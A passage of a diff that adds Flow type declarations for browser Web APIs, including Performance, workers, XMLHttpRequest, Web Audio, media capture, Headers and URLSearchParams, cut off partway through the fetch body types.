+// https://www.w3.org/TR/navigation-timing-2/
+declare class PerformanceNavigationTiming extends PerformanceResourceTiming {
+  unloadEventStart: number;
+  unloadEventEnd: number;
+  domInteractive: number;
+  domContentLoadedEventStart: number;
+  domContentLoadedEventEnd: number;
+  domComplete: number;
+  loadEventStart: number;
+  loadEventEnd: number;
+  type: 'navigate' | 'reload' | 'back_forward' | 'prerender';
+  redirectCount: number;
+}
+
+// https://www.w3.org/TR/user-timing/#extensions-performance-interface
+declare type PerformanceMarkOptions = {|
+  detail?: mixed,
+  startTime?: number,
+|};
+
+declare type PerformanceMeasureOptions = {|
+  detail?: mixed,
+  start?: number | string,
+  end?: number | string,
+  duration?: number,
+|};
+
+type EventCountsForEachCallbackType =
+  | (() => void)
+  | ((value: number) => void)
+  | ((value: number, key: string) => void)
+  | ((value: number, key: string, map: Map<string, number>) => void);
+
+// https://www.w3.org/TR/event-timing/#eventcounts
+declare interface EventCounts {
+  size: number;
+
+  entries(): Iterator<[string, number]>;
+  forEach(callback: EventCountsForEachCallbackType): void;
+  get(key: string): ?number;
+  has(key: string): boolean;
+  keys(): Iterator<string>;
+  values(): Iterator<number>;
+}
+
+declare class Performance {
+  eventCounts: EventCounts;
+
+  // deprecated
+  navigation: PerformanceNavigation;
+  timing: PerformanceTiming;
+
+  onresourcetimingbufferfull: (ev: any) => mixed;
+  clearMarks(name?: string): void;
+  clearMeasures(name?: string): void;
+  clearResourceTimings(): void;
+  getEntries(options?: PerformanceEntryFilterOptions): Array<PerformanceEntry>;
+  getEntriesByName(name: string, type?: string): Array<PerformanceEntry>;
+  getEntriesByType(type: string): Array<PerformanceEntry>;
+  mark(name: string, options?: PerformanceMarkOptions): void;
+  measure(
+    name: string,
+    startMarkOrOptions?: string | PerformanceMeasureOptions,
+    endMark?: string
+  ): void;
+  now(): DOMHighResTimeStamp;
+  setResourceTimingBufferSize(maxSize: number): void;
+  toJSON(): string;
+}
+
+declare var performance: Performance;
+
+type PerformanceEntryList = PerformanceEntry[];
+
+declare interface PerformanceObserverEntryList {
+  getEntries(): PerformanceEntryList;
+  getEntriesByType(type: string): PerformanceEntryList;
+  getEntriesByName(name: string, type: ?string): PerformanceEntryList;
+}
+
+type PerformanceObserverInit = {
+  entryTypes?: string[],
+  type?: string,
+  buffered?: boolean,
+  ...
+};
+
+declare class PerformanceObserver {
+  constructor(
+    callback: (
+      entries: PerformanceObserverEntryList,
+      observer: PerformanceObserver
+    ) => mixed
+  ): void;
+
+  observe(options: ?PerformanceObserverInit): void;
+  disconnect(): void;
+  takeRecords(): PerformanceEntryList;
+
+  static supportedEntryTypes: string[];
+}
+
+declare class History {
+  length: number;
+  scrollRestoration: 'auto' | 'manual';
+  state: any;
+  back(): void;
+  forward(): void;
+  go(delta?: number): void;
+  pushState(statedata: any, title: string, url?: string): void;
+  replaceState(statedata: any, title: string, url?: string): void;
+}
+
+declare var history: History;
+
+declare class Location {
+  ancestorOrigins: string[];
+  hash: string;
+  host: string;
+  hostname: string;
+  href: string;
+  origin: string;
+  pathname: string;
+  port: string;
+  protocol: string;
+  search: string;
+  assign(url: string): void;
+  reload(flag?: boolean): void;
+  replace(url: string): void;
+  toString(): string;
+}
+
+declare var location: Location;
+
+///////////////////////////////////////////////////////////////////////////////
+
+declare class DOMParser {
+  parseFromString(source: string | TrustedHTML, mimeType: string): Document;
+}
+
+type FormDataEntryValue = string | File;
+
+declare class FormData {
+  constructor(form?: HTMLFormElement, submitter?: HTMLElement | null): void;
+
+  has(name: string): boolean;
+  get(name: string): ?FormDataEntryValue;
+  getAll(name: string): Array<FormDataEntryValue>;
+
+  set(name: string, value: string): void;
+  set(name: string, value: Blob, filename?: string): void;
+  set(name: string, value: File, filename?: string): void;
+
+  append(name: string, value: string): void;
+  append(name: string, value: Blob, filename?: string): void;
+  append(name: string, value: File, filename?: string): void;
+
+  delete(name: string): void;
+
+  keys(): Iterator<string>;
+  values(): Iterator<FormDataEntryValue>;
+  entries(): Iterator<[string, FormDataEntryValue]>;
+}
+
+declare type IntersectionObserverEntry = {
+  boundingClientRect: DOMRectReadOnly,
+  intersectionRatio: number,
+  intersectionRect: DOMRectReadOnly,
+  isIntersecting: boolean,
+  rootBounds: DOMRectReadOnly,
+  target: Element,
+  time: DOMHighResTimeStamp,
+  ...
+};
+
+declare type IntersectionObserverCallback = (
+  entries: Array<IntersectionObserverEntry>,
+  observer: IntersectionObserver
+) => mixed;
+
+declare type IntersectionObserverOptions = {
+  root?: Node | null,
+  rootMargin?: string,
+  threshold?: number | Array<number>,
+  ...
+};
+
+declare class IntersectionObserver {
+  constructor(
+    callback: IntersectionObserverCallback,
+    options?: IntersectionObserverOptions
+  ): void;
+  root: Element | null;
+  rootMargin: string;
+  scrollMargin: string;
+  thresholds: number[];
+  observe(target: Element): void;
+  unobserve(target: Element): void;
+  takeRecords(): Array<IntersectionObserverEntry>;
+  disconnect(): void;
+}
+
+declare interface ResizeObserverSize {
+  +inlineSize: number;
+  +blockSize: number;
+}
+
+declare interface ResizeObserverEntry {
+  /**
+   * The Element whose size has changed.
+   */
+  +target: Element;
+  /**
+   * Element's content rect when ResizeObserverCallback is invoked.
+   *
+   * Legacy, may be deprecated in the future.
+   */
+  +contentRect: DOMRectReadOnly;
+  /**
+   * An array containing the Element's border box size when
+   * ResizeObserverCallback is invoked.
+   */
+  +borderBoxSize: $ReadOnlyArray<ResizeObserverSize>;
+  /**
+   * An array containing the Element's content rect size when
+   * ResizeObserverCallback is invoked.
+   */
+  +contentBoxSize: $ReadOnlyArray<ResizeObserverSize>;
+  /**
+   * An array containing the Element's content rect size in integral device
+   * pixels when ResizeObserverCallback is invoked.
+   *
+   * Not implemented in Firefox or Safari as of July 2021
+   */
+  +devicePixelContentBoxSize?: $ReadOnlyArray<ResizeObserverSize> | void;
+}
+
+/**
+ * ResizeObserver can observe different kinds of CSS sizes:
+ * - border-box : size of box border area as defined in CSS2.
+ * - content-box : size of content area as defined in CSS2.
+ * - device-pixel-content-box : size of content area as defined in CSS2, in device
+ *     pixels, before applying any CSS transforms on the element or its ancestors.
+ *     This size must contain integer values.
+ */
+type ResizeObserverBoxOptions =
+  | 'border-box'
+  | 'content-box'
+  | 'device-pixel-content-box';
+
+declare type ResizeObserverOptions = {
+  box?: ResizeObserverBoxOptions,
+  ...
+};
+
+/**
+ * The ResizeObserver interface is used to observe changes to Element's size.
+ */
+declare class ResizeObserver {
+  constructor(
+    callback: (
+      entries: ResizeObserverEntry[],
+      observer: ResizeObserver
+    ) => mixed
+  ): void;
+  /**
+   * Adds target to the list of observed elements.
+   */
+  observe(target: Element, options?: ResizeObserverOptions): void;
+  /**
+   * Removes target from the list of observed elements.
+   */
+  unobserve(target: Element): void;
+  disconnect(): void;
+}
+
+declare class CloseEvent extends Event {
+  code: number;
+  reason: string;
+  wasClean: boolean;
+}
+
+declare class WebSocket extends EventTarget {
+  static CONNECTING: 0;
+  static OPEN: 1;
+  static CLOSING: 2;
+  static CLOSED: 3;
+  constructor(url: string, protocols?: string | Array<string>): void;
+  protocol: string;
+  readyState: number;
+  bufferedAmount: number;
+  extensions: string;
+  onopen: (ev: any) => mixed;
+  onmessage: (ev: MessageEvent<>) => mixed;
+  onclose: (ev: CloseEvent) => mixed;
+  onerror: (ev: any) => mixed;
+  binaryType: 'blob' | 'arraybuffer';
+  url: string;
+  close(code?: number, reason?: string): void;
+  send(data: string): void;
+  send(data: Blob): void;
+  send(data: ArrayBuffer): void;
+  send(data: $ArrayBufferView): void;
+  CONNECTING: 0;
+  OPEN: 1;
+  CLOSING: 2;
+  CLOSED: 3;
+}
+
+type WorkerOptions = {
+  type?: WorkerType,
+  credentials?: CredentialsType,
+  name?: string,
+  ...
+};
+
+declare class Worker extends EventTarget {
+  constructor(
+    stringUrl: string | TrustedScriptURL,
+    workerOptions?: WorkerOptions
+  ): void;
+  onerror: null | ((ev: any) => mixed);
+  onmessage: null | ((ev: MessageEvent<>) => mixed);
+  onmessageerror: null | ((ev: MessageEvent<>) => mixed);
+  postMessage(message: any, ports?: any): void;
+  terminate(): void;
+}
+
+declare class SharedWorker extends EventTarget {
+  constructor(stringUrl: string | TrustedScriptURL, name?: string): void;
+  constructor(
+    stringUrl: string | TrustedScriptURL,
+    workerOptions?: WorkerOptions
+  ): void;
+  port: MessagePort;
+  onerror: (ev: any) => mixed;
+}
+
+declare function importScripts(...urls: Array<string | TrustedScriptURL>): void;
+
+declare class WorkerGlobalScope extends EventTarget {
+  self: this;
+  location: WorkerLocation;
+  navigator: WorkerNavigator;
+  close(): void;
+  importScripts(...urls: Array<string | TrustedScriptURL>): void;
+  onerror: (ev: any) => mixed;
+  onlanguagechange: (ev: any) => mixed;
+  onoffline: (ev: any) => mixed;
+  ononline: (ev: any) => mixed;
+  onrejectionhandled: (ev: PromiseRejectionEvent) => mixed;
+  onunhandledrejection: (ev: PromiseRejectionEvent) => mixed;
+}
+
+declare class DedicatedWorkerGlobalScope extends WorkerGlobalScope {
+  onmessage: (ev: MessageEvent<>) => mixed;
+  onmessageerror: (ev: MessageEvent<>) => mixed;
+  postMessage(message: any, transfer?: Iterable<any>): void;
+}
+
+declare class SharedWorkerGlobalScope extends WorkerGlobalScope {
+  name: string;
+  onconnect: (ev: MessageEvent<>) => mixed;
+}
+
+declare class WorkerLocation {
+  origin: string;
+  protocol: string;
+  host: string;
+  hostname: string;
+  port: string;
+  pathname: string;
+  search: string;
+  hash: string;
+}
+
+declare class WorkerNavigator
+  mixins
+    NavigatorID,
+    NavigatorLanguage,
+    NavigatorOnLine,
+    NavigatorConcurrentHardware,
+    NavigatorStorage
+{
+  permissions: Permissions;
+}
+
+// deprecated
+declare class XDomainRequest {
+  timeout: number;
+  onerror: () => mixed;
+  onload: () => mixed;
+  onprogress: () => mixed;
+  ontimeout: () => mixed;
+  +responseText: string;
+  +contentType: string;
+  open(method: 'GET' | 'POST', url: string): void;
+  abort(): void;
+  send(data?: string): void;
+
+  statics: {create(): XDomainRequest, ...};
+}
+
+declare class XMLHttpRequest extends EventTarget {
+  static LOADING: number;
+  static DONE: number;
+  static UNSENT: number;
+  static OPENED: number;
+  static HEADERS_RECEIVED: number;
+  responseBody: any;
+  status: number;
+  readyState: number;
+  responseText: string;
+  responseXML: any;
+  responseURL: string;
+  ontimeout: ProgressEventHandler;
+  statusText: string;
+  onreadystatechange: (ev: any) => mixed;
+  timeout: number;
+  onload: ProgressEventHandler;
+  response: any;
+  withCredentials: boolean;
+  onprogress: ProgressEventHandler;
+  onabort: ProgressEventHandler;
+  responseType: string;
+  onloadend: ProgressEventHandler;
+  upload: XMLHttpRequestEventTarget;
+  onerror: ProgressEventHandler;
+  onloadstart: ProgressEventHandler;
+  msCaching: string;
+  open(
+    method: string,
+    url: string,
+    async?: boolean,
+    user?: string,
+    password?: string
+  ): void;
+  send(data?: any): void;
+  abort(): void;
+  getAllResponseHeaders(): string;
+  setRequestHeader(header: string, value: string): void;
+  getResponseHeader(header: string): string;
+  msCachingEnabled(): boolean;
+  overrideMimeType(mime: string): void;
+  LOADING: number;
+  DONE: number;
+  UNSENT: number;
+  OPENED: number;
+  HEADERS_RECEIVED: number;
+
+  statics: {create(): XMLHttpRequest, ...};
+}
+
+declare class XMLHttpRequestEventTarget extends EventTarget {
+  onprogress: ProgressEventHandler;
+  onerror: ProgressEventHandler;
+  onload: ProgressEventHandler;
+  ontimeout: ProgressEventHandler;
+  onabort: ProgressEventHandler;
+  onloadstart: ProgressEventHandler;
+  onloadend: ProgressEventHandler;
+}
+
+declare class XMLSerializer {
+  serializeToString(target: Node): string;
+}
+
+declare class Geolocation {
+  getCurrentPosition(
+    success: (position: Position) => mixed,
+    error?: (error: PositionError) => mixed,
+    options?: PositionOptions
+  ): void;
+  watchPosition(
+    success: (position: Position) => mixed,
+    error?: (error: PositionError) => mixed,
+    options?: PositionOptions
+  ): number;
+  clearWatch(id: number): void;
+}
+
+declare class Position {
+  coords: Coordinates;
+  timestamp: number;
+}
+
+declare class Coordinates {
+  latitude: number;
+  longitude: number;
+  altitude?: number;
+  accuracy: number;
+  altitudeAccuracy?: number;
+  heading?: number;
+  speed?: number;
+}
+
+declare class PositionError {
+  code: number;
+  message: string;
+  PERMISSION_DENIED: 1;
+  POSITION_UNAVAILABLE: 2;
+  TIMEOUT: 3;
+}
+
+type PositionOptions = {
+  enableHighAccuracy?: boolean,
+  timeout?: number,
+  maximumAge?: number,
+  ...
+};
+
+type AudioContextState = 'suspended' | 'running' | 'closed';
+
+// deprecated
+type AudioProcessingEvent$Init = Event$Init & {
+  playbackTime: number,
+  inputBuffer: AudioBuffer,
+  outputBuffer: AudioBuffer,
+  ...
+};
+
+// deprecated
+declare class AudioProcessingEvent extends Event {
+  constructor(type: string, eventInitDict: AudioProcessingEvent$Init): void;
+
+  +playbackTime: number;
+  +inputBuffer: AudioBuffer;
+  +outputBuffer: AudioBuffer;
+}
+
+type OfflineAudioCompletionEvent$Init = Event$Init & {
+  renderedBuffer: AudioBuffer,
+  ...
+};
+
+declare class OfflineAudioCompletionEvent extends Event {
+  constructor(
+    type: string,
+    eventInitDict: OfflineAudioCompletionEvent$Init
+  ): void;
+
+  +renderedBuffer: AudioBuffer;
+}
+
+declare class BaseAudioContext extends EventTarget {
+  currentTime: number;
+  destination: AudioDestinationNode;
+  listener: AudioListener;
+  sampleRate: number;
+  state: AudioContextState;
+  onstatechange: (ev: any) => mixed;
+  createBuffer(
+    numOfChannels: number,
+    length: number,
+    sampleRate: number
+  ): AudioBuffer;
+  createBufferSource(myMediaElement?: HTMLMediaElement): AudioBufferSourceNode;
+  createMediaElementSource(
+    myMediaElement: HTMLMediaElement
+  ): MediaElementAudioSourceNode;
+  createMediaStreamSource(stream: MediaStream): MediaStreamAudioSourceNode;
+  createMediaStreamDestination(): MediaStreamAudioDestinationNode;
+
+  // deprecated
+  createScriptProcessor(
+    bufferSize: number,
+    numberOfInputChannels: number,
+    numberOfOutputChannels: number
+  ): ScriptProcessorNode;
+
+  createAnalyser(): AnalyserNode;
+  createBiquadFilter(): BiquadFilterNode;
+  createChannelMerger(numberOfInputs?: number): ChannelMergerNode;
+  createChannelSplitter(numberOfInputs?: number): ChannelSplitterNode;
+  createConstantSource(): ConstantSourceNode;
+  createConvolver(): ConvolverNode;
+  createDelay(maxDelayTime?: number): DelayNode;
+  createDynamicsCompressor(): DynamicsCompressorNode;
+  createGain(): GainNode;
+  createIIRFilter(
+    feedforward: Float32Array,
+    feedback: Float32Array
+  ): IIRFilterNode;
+  createOscillator(): OscillatorNode;
+  createPanner(): PannerNode;
+  createStereoPanner(): StereoPannerNode;
+  createPeriodicWave(
+    real: Float32Array,
+    img: Float32Array,
+    options?: {disableNormalization: boolean, ...}
+  ): PeriodicWave;
+  createStereoPanner(): StereoPannerNode;
+  createWaveShaper(): WaveShaperNode;
+  decodeAudioData(
+    arrayBuffer: ArrayBuffer,
+    decodeSuccessCallback: (decodedData: AudioBuffer) => mixed,
+    decodeErrorCallback: (err: DOMError) => mixed
+  ): void;
+  decodeAudioData(arrayBuffer: ArrayBuffer): Promise<AudioBuffer>;
+}
+
+declare class AudioTimestamp {
+  contextTime: number;
+  performanceTime: number;
+}
+
+declare class AudioContext extends BaseAudioContext {
+  constructor(options?: {|
+    latencyHint?: 'balanced' | 'interactive' | 'playback' | number,
+    sampleRate?: number,
+  |}): AudioContext;
+  baseLatency: number;
+  outputLatency: number;
+  getOutputTimestamp(): AudioTimestamp;
+  resume(): Promise<void>;
+  suspend(): Promise<void>;
+  close(): Promise<void>;
+  createMediaElementSource(
+    myMediaElement: HTMLMediaElement
+  ): MediaElementAudioSourceNode;
+  createMediaStreamSource(
+    myMediaStream: MediaStream
+  ): MediaStreamAudioSourceNode;
+  createMediaStreamTrackSource(
+    myMediaStreamTrack: MediaStreamTrack
+  ): MediaStreamTrackAudioSourceNode;
+  createMediaStreamDestination(): MediaStreamAudioDestinationNode;
+}
+
+declare class OfflineAudioContext extends BaseAudioContext {
+  startRendering(): Promise<AudioBuffer>;
+  suspend(suspendTime: number): Promise<void>;
+  length: number;
+  oncomplete: (ev: OfflineAudioCompletionEvent) => mixed;
+}
+
+declare class AudioNode extends EventTarget {
+  context: AudioContext;
+  numberOfInputs: number;
+  numberOfOutputs: number;
+  channelCount: number;
+  channelCountMode: 'max' | 'clamped-max' | 'explicit';
+  channelInterpretation: 'speakers' | 'discrete';
+  connect(audioNode: AudioNode, output?: number, input?: number): AudioNode;
+  connect(destination: AudioParam, output?: number): void;
+  disconnect(destination?: AudioNode, output?: number, input?: number): void;
+}
+
+declare class AudioParam extends AudioNode {
+  value: number;
+  defaultValue: number;
+  setValueAtTime(value: number, startTime: number): this;
+  linearRampToValueAtTime(value: number, endTime: number): this;
+  exponentialRampToValueAtTime(value: number, endTime: number): this;
+  setTargetAtTime(
+    target: number,
+    startTime: number,
+    timeConstant: number
+  ): this;
+  setValueCurveAtTime(
+    values: Float32Array,
+    startTime: number,
+    duration: number
+  ): this;
+  cancelScheduledValues(startTime: number): this;
+}
+
+declare class AudioDestinationNode extends AudioNode {
+  maxChannelCount: number;
+}
+
+declare class AudioListener extends AudioNode {
+  positionX: AudioParam;
+  positionY: AudioParam;
+  positionZ: AudioParam;
+  forwardX: AudioParam;
+  forwardY: AudioParam;
+  forwardZ: AudioParam;
+  upX: AudioParam;
+  upY: AudioParam;
+  upZ: AudioParam;
+  setPosition(x: number, y: number, c: number): void;
+  setOrientation(
+    x: number,
+    y: number,
+    z: number,
+    xUp: number,
+    yUp: number,
+    zUp: number
+  ): void;
+}
+
+declare class AudioBuffer {
+  sampleRate: number;
+  length: number;
+  duration: number;
+  numberOfChannels: number;
+  getChannelData(channel: number): Float32Array;
+  copyFromChannel(
+    destination: Float32Array,
+    channelNumber: number,
+    startInChannel?: number
+  ): void;
+  copyToChannel(
+    source: Float32Array,
+    channelNumber: number,
+    startInChannel?: number
+  ): void;
+}
+
+declare class AudioBufferSourceNode extends AudioNode {
+  buffer: AudioBuffer;
+  detune: AudioParam;
+  loop: boolean;
+  loopStart: number;
+  loopEnd: number;
+  playbackRate: AudioParam;
+  onended: (ev: any) => mixed;
+  start(when?: number, offset?: number, duration?: number): void;
+  stop(when?: number): void;
+}
+
+declare class CanvasCaptureMediaStream extends MediaStream {
+  canvas: HTMLCanvasElement;
+  requestFrame(): void;
+}
+
+type DoubleRange = {
+  max?: number,
+  min?: number,
+  ...
+};
+
+type LongRange = {
+  max?: number,
+  min?: number,
+  ...
+};
+
+type ConstrainBooleanParameters = {
+  exact?: boolean,
+  ideal?: boolean,
+  ...
+};
+
+type ConstrainDOMStringParameters = {
+  exact?: string | string[],
+  ideal?: string | string[],
+  ...
+};
+
+type ConstrainDoubleRange = {
+  ...DoubleRange,
+  exact?: number,
+  ideal?: number,
+  ...
+};
+
+type ConstrainLongRange = {
+  ...LongRange,
+  exact?: number,
+  ideal?: number,
+  ...
+};
+
+type MediaTrackSupportedConstraints = {|
+  width: boolean,
+  height: boolean,
+  aspectRatio: boolean,
+  frameRate: boolean,
+  facingMode: boolean,
+  resizeMode: boolean,
+  volume: boolean,
+  sampleRate: boolean,
+  sampleSize: boolean,
+  echoCancellation: boolean,
+  autoGainControl: boolean,
+  noiseSuppression: boolean,
+  latency: boolean,
+  channelCount: boolean,
+  deviceId: boolean,
+  groupId: boolean,
+|};
+
+type MediaTrackConstraintSet = {
+  width?: number | ConstrainLongRange,
+  height?: number | ConstrainLongRange,
+  aspectRatio?: number | ConstrainDoubleRange,
+  frameRate?: number | ConstrainDoubleRange,
+  facingMode?: string | string[] | ConstrainDOMStringParameters,
+  resizeMode?: string | string[] | ConstrainDOMStringParameters,
+  volume?: number | ConstrainDoubleRange,
+  sampleRate?: number | ConstrainLongRange,
+  sampleSize?: number | ConstrainLongRange,
+  echoCancellation?: boolean | ConstrainBooleanParameters,
+  autoGainControl?: boolean | ConstrainBooleanParameters,
+  noiseSuppression?: boolean | ConstrainBooleanParameters,
+  latency?: number | ConstrainDoubleRange,
+  channelCount?: number | ConstrainLongRange,
+  deviceId?: string | string[] | ConstrainDOMStringParameters,
+  groupId?: string | string[] | ConstrainDOMStringParameters,
+  ...
+};
+
+type MediaTrackConstraints = {
+  ...MediaTrackConstraintSet,
+  advanced?: Array<MediaTrackConstraintSet>,
+  ...
+};
+
+type DisplayMediaStreamConstraints = {
+  video?: boolean | MediaTrackConstraints,
+  audio?: boolean | MediaTrackConstraints,
+  ...
+};
+
+type MediaStreamConstraints = {
+  audio?: boolean | MediaTrackConstraints,
+  video?: boolean | MediaTrackConstraints,
+  peerIdentity?: string,
+  ...
+};
+
+type MediaTrackSettings = {
+  aspectRatio?: number,
+  deviceId?: string,
+  displaySurface?: 'application' | 'browser' | 'monitor' | 'window',
+  echoCancellation?: boolean,
+  facingMode?: string,
+  frameRate?: number,
+  groupId?: string,
+  height?: number,
+  logicalSurface?: boolean,
+  sampleRate?: number,
+  sampleSize?: number,
+  volume?: number,
+  width?: number,
+  ...
+};
+
+type MediaTrackCapabilities = {
+  aspectRatio?: number | DoubleRange,
+  deviceId?: string,
+  echoCancellation?: boolean[],
+  facingMode?: string,
+  frameRate?: number | DoubleRange,
+  groupId?: string,
+  height?: number | LongRange,
+  sampleRate?: number | LongRange,
+  sampleSize?: number | LongRange,
+  volume?: number | DoubleRange,
+  width?: number | LongRange,
+  ...
+};
+
+declare class MediaDevices extends EventTarget {
+  ondevicechange: (ev: any) => mixed;
+  enumerateDevices: () => Promise<Array<MediaDeviceInfo>>;
+  getSupportedConstraints: () => MediaTrackSupportedConstraints;
+  getDisplayMedia: (
+    constraints?: DisplayMediaStreamConstraints
+  ) => Promise<MediaStream>;
+  getUserMedia: (constraints: MediaStreamConstraints) => Promise<MediaStream>;
+}
+
+declare class MediaDeviceInfo {
+  +deviceId: string;
+  +groupId: string;
+  +kind: 'videoinput' | 'audioinput' | 'audiooutput';
+  +label: string;
+}
+
+type MediaRecorderOptions = {
+  mimeType?: string,
+  audioBitsPerSecond?: number,
+  videoBitsPerSecond?: number,
+  bitsPerSecond?: number,
+  audioBitrateMode?: 'cbr' | 'vbr',
+  ...
+};
+
+declare class MediaRecorder extends EventTarget {
+  constructor(stream: MediaStream, options?: MediaRecorderOptions): void;
+  +stream: MediaStream;
+  +mimeType: string;
+  +state: 'inactive' | 'recording' | 'paused';
+
+  onstart: (ev: any) => mixed;
+  onstop: (ev: any) => mixed;
+  ondataavailable: (ev: any) => mixed;
+  onpause: (ev: any) => mixed;
+  onresume: (ev: any) => mixed;
+  onerror: (ev: any) => mixed;
+
+  +videoBitsPerSecond: number;
+  +audioBitsPerSecond: number;
+  +audioBitrateMode: 'cbr' | 'vbr';
+
+  start(timeslice?: number): void;
+  stop(): void;
+  pause(): void;
+  resume(): void;
+  requestData(): void;
+
+  static isTypeSupported(type: string): boolean;
+}
+
+declare class MediaStream extends EventTarget {
+  active: boolean;
+  ended: boolean;
+  id: string;
+  onactive: (ev: any) => mixed;
+  oninactive: (ev: any) => mixed;
+  onended: (ev: any) => mixed;
+  onaddtrack: (ev: MediaStreamTrackEvent) => mixed;
+  onremovetrack: (ev: MediaStreamTrackEvent) => mixed;
+  addTrack(track: MediaStreamTrack): void;
+  clone(): MediaStream;
+  getAudioTracks(): MediaStreamTrack[];
+  getTrackById(trackid?: string): ?MediaStreamTrack;
+  getTracks(): MediaStreamTrack[];
+  getVideoTracks(): MediaStreamTrack[];
+  removeTrack(track: MediaStreamTrack): void;
+}
+
+declare class MediaStreamTrack extends EventTarget {
+  enabled: boolean;
+  id: string;
+  kind: string;
+  label: string;
+  muted: boolean;
+  readonly: boolean;
+  readyState: 'live' | 'ended';
+  remote: boolean;
+  contentHint?: string;
+  onstarted: (ev: any) => mixed;
+  onmute: (ev: any) => mixed;
+  onunmute: (ev: any) => mixed;
+  onoverconstrained: (ev: any) => mixed;
+  onended: (ev: any) => mixed;
+  getConstraints(): MediaTrackConstraints;
+  applyConstraints(constraints?: MediaTrackConstraints): Promise<void>;
+  getSettings(): MediaTrackSettings;
+  getCapabilities(): MediaTrackCapabilities;
+  clone(): MediaStreamTrack;
+  stop(): void;
+}
+
+declare class MediaStreamTrackEvent extends Event {
+  track: MediaStreamTrack;
+}
+
+declare class MediaElementAudioSourceNode extends AudioNode {}
+declare class MediaStreamAudioSourceNode extends AudioNode {}
+declare class MediaStreamTrackAudioSourceNode extends AudioNode {}
+
+declare class MediaStreamAudioDestinationNode extends AudioNode {
+  stream: MediaStream;
+}
+
+// deprecated
+declare class ScriptProcessorNode extends AudioNode {
+  bufferSize: number;
+  onaudioprocess: (ev: AudioProcessingEvent) => mixed;
+}
+
+declare class AnalyserNode extends AudioNode {
+  fftSize: number;
+  frequencyBinCount: number;
+  minDecibels: number;
+  maxDecibels: number;
+  smoothingTimeConstant: number;
+  getFloatFrequencyData(array: Float32Array): Float32Array;
+  getByteFrequencyData(array: Uint8Array): Uint8Array;
+  getFloatTimeDomainData(array: Float32Array): Float32Array;
+  getByteTimeDomainData(array: Uint8Array): Uint8Array;
+}
+
+declare class BiquadFilterNode extends AudioNode {
+  frequency: AudioParam;
+  detune: AudioParam;
+  Q: AudioParam;
+  gain: AudioParam;
+  type:
+    | 'lowpass'
+    | 'highpass'
+    | 'bandpass'
+    | 'lowshelf'
+    | 'highshelf'
+    | 'peaking'
+    | 'notch'
+    | 'allpass';
+  getFrequencyResponse(
+    frequencyHz: Float32Array,
+    magResponse: Float32Array,
+    phaseResponse: Float32Array
+  ): void;
+}
+
+declare class ChannelMergerNode extends AudioNode {}
+declare class ChannelSplitterNode extends AudioNode {}
+
+type ConstantSourceOptions = {offset?: number, ...};
+declare class ConstantSourceNode extends AudioNode {
+  constructor(context: BaseAudioContext, options?: ConstantSourceOptions): void;
+  offset: AudioParam;
+  onended: (ev: any) => mixed;
+  start(when?: number): void;
+  stop(when?: number): void;
+}
+
+declare class ConvolverNode extends AudioNode {
+  buffer: AudioBuffer;
+  normalize: boolean;
+}
+
+declare class DelayNode extends AudioNode {
+  delayTime: number;
+}
+
+declare class DynamicsCompressorNode extends AudioNode {
+  threshold: AudioParam;
+  knee: AudioParam;
+  ratio: AudioParam;
+  reduction: AudioParam;
+  attack: AudioParam;
+  release: AudioParam;
+}
+
+declare class GainNode extends AudioNode {
+  gain: AudioParam;
+}
+
+declare class IIRFilterNode extends AudioNode {
+  getFrequencyResponse(
+    frequencyHz: Float32Array,
+    magResponse: Float32Array,
+    phaseResponse: Float32Array
+  ): void;
+}
+
+declare class OscillatorNode extends AudioNode {
+  frequency: AudioParam;
+  detune: AudioParam;
+  type: 'sine' | 'square' | 'sawtooth' | 'triangle' | 'custom';
+  start(when?: number): void;
+  stop(when?: number): void;
+  setPeriodicWave(periodicWave: PeriodicWave): void;
+  onended: (ev: any) => mixed;
+}
+
+declare class StereoPannerNode extends AudioNode {
+  pan: AudioParam;
+}
+
+declare class PannerNode extends AudioNode {
+  panningModel: 'equalpower' | 'HRTF';
+  distanceModel: 'linear' | 'inverse' | 'exponential';
+  refDistance: number;
+  maxDistance: number;
+  rolloffFactor: number;
+  coneInnerAngle: number;
+  coneOuterAngle: number;
+  coneOuterGain: number;
+  setPosition(x: number, y: number, z: number): void;
+  setOrientation(x: number, y: number, z: number): void;
+}
+
+declare class PeriodicWave extends AudioNode {}
+declare class WaveShaperNode extends AudioNode {
+  curve: Float32Array;
+  oversample: 'none' | '2x' | '4x';
+}
+
+// this part of spec is not finished yet, apparently
+// https://stackoverflow.com/questions/35296664/can-fetch-get-object-as-headers
+type HeadersInit =
+  | Headers
+  | Array<[string, string]>
+  | {[key: string]: string, ...};
+
+// TODO Heades and URLSearchParams are almost the same thing.
+// Could it somehow be abstracted away?
+declare class Headers {
+  @@iterator(): Iterator<[string, string]>;
+  constructor(init?: HeadersInit): void;
+  append(name: string, value: string): void;
+  delete(name: string): void;
+  entries(): Iterator<[string, string]>;
+  forEach<This>(
+    callback: (
+      this: This,
+      value: string,
+      name: string,
+      headers: Headers
+    ) => mixed,
+    thisArg: This
+  ): void;
+  get(name: string): null | string;
+  has(name: string): boolean;
+  keys(): Iterator<string>;
+  set(name: string, value: string): void;
+  values(): Iterator<string>;
+}
+
+declare class URLSearchParams {
+  @@iterator(): Iterator<[string, string]>;
+
+  size: number;
+
+  constructor(
+    init?:
+      | string
+      | URLSearchParams
+      | Array<[string, string]>
+      | {[string]: string, ...}
+  ): void;
+  append(name: string, value: string): void;
+  delete(name: string, value?: string): void;
+  entries(): Iterator<[string, string]>;
+  forEach<This>(
+    callback: (
+      this: This,
+      value: string,
+      name: string,
+      params: URLSearchParams
+    ) => mixed,
+    thisArg: This
+  ): void;
+  get(name: string): null | string;
+  getAll(name: string): Array<string>;
+  has(name: string, value?: string): boolean;
+  keys(): Iterator<string>;
+  set(name: string, value: string): void;
+  sort(): void;
+  values(): Iterator<string>;
+  toString(): string;
+}
+
+type CacheType =
+  | 'default'
+  | 'no-store'
+  | 'reload'
+  | 'no-cache'
+  | 'force-cache'
+  | 'only-if-cached';
+type CredentialsType = 'omit' | 'same-origin' | 'include';
+type ModeType = 'cors' | 'no-cors' | 'same-origin' | 'navigate';
+type RedirectType = 'follow' | 'error' | 'manual';
+type ReferrerPolicyType =
+  | ''
+  | 'no-referrer'
+  | 'no-referrer-when-downgrade'
+  | 'same-origin'
+  | 'origin'
+  | 'strict-origin'
+  | 'origin-when-cross-origin'
+  | 'strict-origin-when-cross-origin'
+  | 'unsafe-url';
+
+type ResponseType =
+  | 'basic'
+  | 'cors'
+  | 'default'
+  | 'error'
+  | 'opaque'
+  | 'opaqueredirect';
+
+type BodyInit =
+  | string
+  | URLSearchParams
+  | FormData
+  | Blob
+  | ArrayBuffer
